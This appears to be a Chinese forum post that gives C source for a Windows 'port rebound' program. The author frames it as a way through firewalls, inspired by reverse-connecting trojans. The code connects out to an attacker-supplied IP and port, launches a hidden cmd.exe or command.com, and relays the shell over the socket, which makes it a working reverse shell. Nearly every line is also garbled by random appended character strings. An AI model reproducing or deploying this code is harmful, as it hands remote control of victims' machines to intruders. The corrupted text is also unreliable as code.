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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T RDxT  
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/* ============================== L $SMfx  
Rebound port in Windows NT T!(sZf  
By wind,2006/7 TywK\hH  
===============================*/ [ T-*/}4$  
#include ?]5Ix1  
#include (V!0'9c  
PGkCOmq   
#pragma comment(lib,"wsock32.lib") C;ptir1G;  
{U^j&E  
void OutputShell(); <W2ZoqaV  
SOCKET sClient; xdqK.Z%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7C?E z%a@  
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void main(int argc,char **argv) BtzYA"  
{ F*,5\s<  
WSADATA stWsaData; mVt3WZa  
int nRet; ncj!KyU  
SOCKADDR_IN stSaiClient,stSaiServer; ]=|P<F   
[8TS"ph>  
if(argc != 3) :mP9^Do2;  
{ <n\i>A3`,S  
printf("Useage:\n\rRebound DestIP DestPort\n"); AJdp6@O +  
return; a(f(R&-:$Y  
} 'mJ13  
+X[8wUm|^  
WSAStartup(MAKEWORD(2,2),&stWsaData); SwX@I6huM  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =-5[Hn%  
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stSaiClient.sin_family = AF_INET; KJX>DL 9\  
stSaiClient.sin_port = htons(0); AX K95eS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (7~%B"  
cf\&No?-p  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G1/Gq.<  
{ _Z$?^gn  
printf("Bind Socket Failed!\n"); m@[3~ 6A  
return; /S[?{QA  
} f7 wm w2  
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stSaiServer.sin_family = AF_INET; dWUUxKC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h9jc,X u5X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Sk$KqHX(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ($'V& x8T  
{ .lr5!Stb  
printf("Connect Error!"); ~?d>fR:X  
return; ;Yv14{T!  
} hJLT!33:  
OutputShell(); {!r#f(?uT  
} _ ~[M+IO   
;?`@"YG)  
void OutputShell() %4/xH 9  
{ JRo;(wqZ  
char szBuff[1024]; W "k| K:  
SECURITY_ATTRIBUTES stSecurityAttributes; &r:=KT3  
OSVERSIONINFO stOsversionInfo; +|0 t  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >: $"a  
STARTUPINFO stStartupInfo; x;(g  
char *szShell; GMw)*  
PROCESS_INFORMATION stProcessInformation; *Dc@CmBr  
unsigned long lBytesRead; &oEyixe  
fbV@=(y?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .`+yo0O:  
cWM:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5NFRPGYX  
stSecurityAttributes.lpSecurityDescriptor = 0; V)h y0_  
stSecurityAttributes.bInheritHandle = TRUE; ^vM_kAr A  
_*n)mlLln  
7@3sUA_Go  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \XDmK   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [8z&-'J=  
cJ/4G l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a'A s  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JnHNkCaU  
stStartupInfo.wShowWindow = SW_HIDE; c=aO5(i0  
stStartupInfo.hStdInput = hReadPipe; xl,ryc3J  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m1V-%kUI  
$ 9=8@  
GetVersionEx(&stOsversionInfo); d"GDZ[6  
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switch(stOsversionInfo.dwPlatformId) 0 u2Ny&6w  
{ #9,=Owup  
case 1: B\0t&dai|'  
szShell = "command.com"; Eu4 &-i  
break; zi.mq&,]R  
default: z7k$0&  
szShell = "cmd.exe"; P5P< "  
break; t R ;{.  
} q5?{ 1  
gwq`_/d}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D )gD<  
#g{Mne  
send(sClient,szMsg,77,0); v2=/[E@  
while(1) ;W6-i2?  
{ Vd<K4Tk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'kQ~  
if(lBytesRead) n.ct]+L  
{ Z /h|\SyJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ONfyYM?  
send(sClient,szBuff,lBytesRead,0); (!-;T  
} Km"&mT $  
else {G%3*=?,j  
{ hIo0S8MOj$  
lBytesRead=recv(sClient,szBuff,1024,0); }Aw47;5q;  
if(lBytesRead<=0) break; &=NJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [S)G$JW  
} }<&d]N  
} Khap9a_q-  
BUDGyl/=  
return; X|Dpt2A=  
}
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